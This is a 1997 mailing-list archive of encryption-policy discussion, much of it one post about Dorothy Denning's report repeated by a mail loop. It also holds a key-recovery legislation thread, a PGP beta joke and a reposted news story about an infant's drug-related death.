    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 19:46:37 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 10:46:37 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010240.UAA11453@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 19:56:59 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 10:56:59 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010245.UAA11676@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From lharrison at mhv.net  Thu Jul 31 20:00:16 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Fri, 1 Aug 1997 11:00:16 +0800
Subject: House Report on SAFE
In-Reply-To: <3.0.2.32.19970731222819.0072614c@pop.mhv.net>
Message-ID: <3.0.2.32.19970731223650.006bdca8@pop.mhv.net>



At 10:28 PM 7/31/97 -0400, Declan McCullagh wrote:
>
>Note the following ominous excerpt from one of the letters:
>
>
>"We are in unanimous agreement that congress must adopt
>encryption legislation that requires the development,
>manufacture, distribution and sale of only key recovery
>products."
>
>Darrell L. Sanders, President, International Association of
>Chiefs of Police.
>
>James E. Doyle, President, National Association of
>Attorneys General.
>
>Fred Scoralic, President, National Sheriffs' Association.


Scoralick is the Dutchess County Sheriff (I've always spelled his name
ending with a "k" when I've served writs on him).  Anyway, I would be ever
so happy to write a letter to him denouncing his position and would also be
ever so happy to express the viewpoint of any others. Just let me know....


***********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison at mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
***********************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.






From attila at hun.attila.org  Thu Jul 31 20:01:34 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 11:01:34 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010255.UAA12060@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From beta at pgp.com  Thu Jul 31 20:03:46 1997
From: beta at pgp.com (PGP Beta Team)
Date: Fri, 1 Aug 1997 11:03:46 +0800
Subject: PGP Linux 5.0b11 feedback?
In-Reply-To: 
Message-ID: 



At 11:01 AM -0400 7/31/97, Ray Arachelian wrote:
>A self-export option.  Click on a button to randomly and anonymously
>automatically ftp the full package with source to ftp sites outside the
>usa.  :)
>
>You should of course put in the nice warning screns about breaking the law
>and such, and then "Click here to be an international arms trafficker."
> [snippety-snip]


Ray,

Your enchanting suggestion has been duly noted (and I might add enjoyed by
the entire development team).

Perhaps we can consider implementing it in version "n-1".

   dave  ;)


__________________________________________________________________________
 Dave Del Torto      tel: +1.415.596.1781        Pretty Good Privacy, Inc
 Beta Test Mgr.      fax: +1.415.631.1033       555 Twin Dolphin Dr. #570
       web: http://beta.pgp.com     Redwood Shores CA 94065
 PGP Key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x48824435







From attila at hun.attila.org  Thu Jul 31 20:10:37 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 11:10:37 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010301.VAA12316@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 20:14:57 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 11:14:57 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010306.VAA12518@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 20:21:39 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 11:21:39 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010311.VAA12700@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From ravage at ssz.com  Thu Jul 31 20:22:48 1997
From: ravage at ssz.com (Jim Choate)
Date: Fri, 1 Aug 1997 11:22:48 +0800
Subject: http:--www.cnn.com-US-9707-31-breast.milk-
Message-ID: <199708010310.WAA24360@einstein.ssz.com>



   CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner $9.95 Unlimited Internet. Click Here. 
   
     rule
     
             POLICE: DRUG-ADDICT MOM KILLED BABY WITH BREAST MILK
                                       
      Powell July 31, 1997
     Web posted at: 10:55 p.m. EDT (0255 GMT)
     
     TUCSON, Arizona (AP) -- Police have charged a woman with murder,
     claiming her breast milk was so full of heroin and methadone that it
     killed her 7-week-old daughter.
     
     The father was also charged with murder for not intervening,
     authorities said.
     
     "It's true with any form of child abuse that it's preventable, but
     this one seems to be more preventable. It seems to be more of a
     conscious choice," Tucson Police Detective Sgt. Brett Klein said
     Thursday.
     
     Doctors put Eve Powell into the intensive care unit after she was
     born on May 16 because she was dependent on methadone, the
     opium-based drug used to help wean heroin addicts.
     
     Before sending Eve home from the hospital a month later, medical
     workers warned the baby's 24-year-old mother, Amoret Powell, that
     resuming her heroin habit while breast-feeding could kill the baby,
     police said.
     
     But on July 10, tiny Eve was rushed to another hospital,suffering
     from severe oxygen deprivation. She died the next day.
     
     On Wednesday, authorities charged Amoret Powell with first-degree
     murder, alleging that she killed her daughter by giving her
     drug-filled breast milk.
     
     Police found used syringes and other drug paraphernalia in her home,
     and she admitted using heroin after Eve's birth, Klein said.
     
     Test results from Eve's body are pending, but doctors say the
     heroin-methadone combination can cause the oxygen deprivation that
     killed the baby.
     
     Eve's father, Robin Johnson, 33, also was charged with murder
     because the death resulted from child abuse and he did nothing to
     stop it, Klein said. Each is being held on $1 million bond.
     
     Powell is not the first mother to face a murder charge fornursing a
     child while using drugs. A jury in Bakersfield, California,
     deadlocked on a murder charge but convicted a woman of child
     endangerment after she nursed while using methamphetamine. Another
     woman in Los Angeles pleaded guilty to child endangerment for also
     nursing while using methamphetamine.
     
     The Associated Press contributed to this report.  Search for related
     CNN stories:
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From attila at hun.attila.org  Thu Jul 31 20:24:47 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 11:24:47 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010317.VAA12880@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 20:25:33 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 11:25:33 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010250.UAA11859@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 20:36:24 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 11:36:24 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010323.VAA13141@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 20:37:54 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 11:37:54 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010328.VAA13339@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 20:42:07 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 11:42:07 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010334.VAA13686@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 20:50:56 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 11:50:56 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010339.VAA13890@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 20:56:39 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 11:56:39 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010345.VAA14095@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 20:59:51 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 11:59:51 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010351.VAA14266@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From rwright at adnetsol.com  Thu Jul 31 21:01:46 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Fri, 1 Aug 1997 12:01:46 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010356.UAA14654@adnetsol.adnetsol.com>



Is Attila doing this or is the list doing this.  I've received 25 of 
these.   ??????????????????????????????????????????


On or About 31 Jul 97 at 23:34, Attila T. Hun wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
>     I'm too old for this!  I never thought I would see the day that

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From attila at hun.attila.org  Thu Jul 31 21:05:16 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 12:05:16 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010356.VAA14479@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 21:11:42 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 12:11:42 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010402.WAA14720@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 21:16:05 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 12:16:05 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010407.WAA14923@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

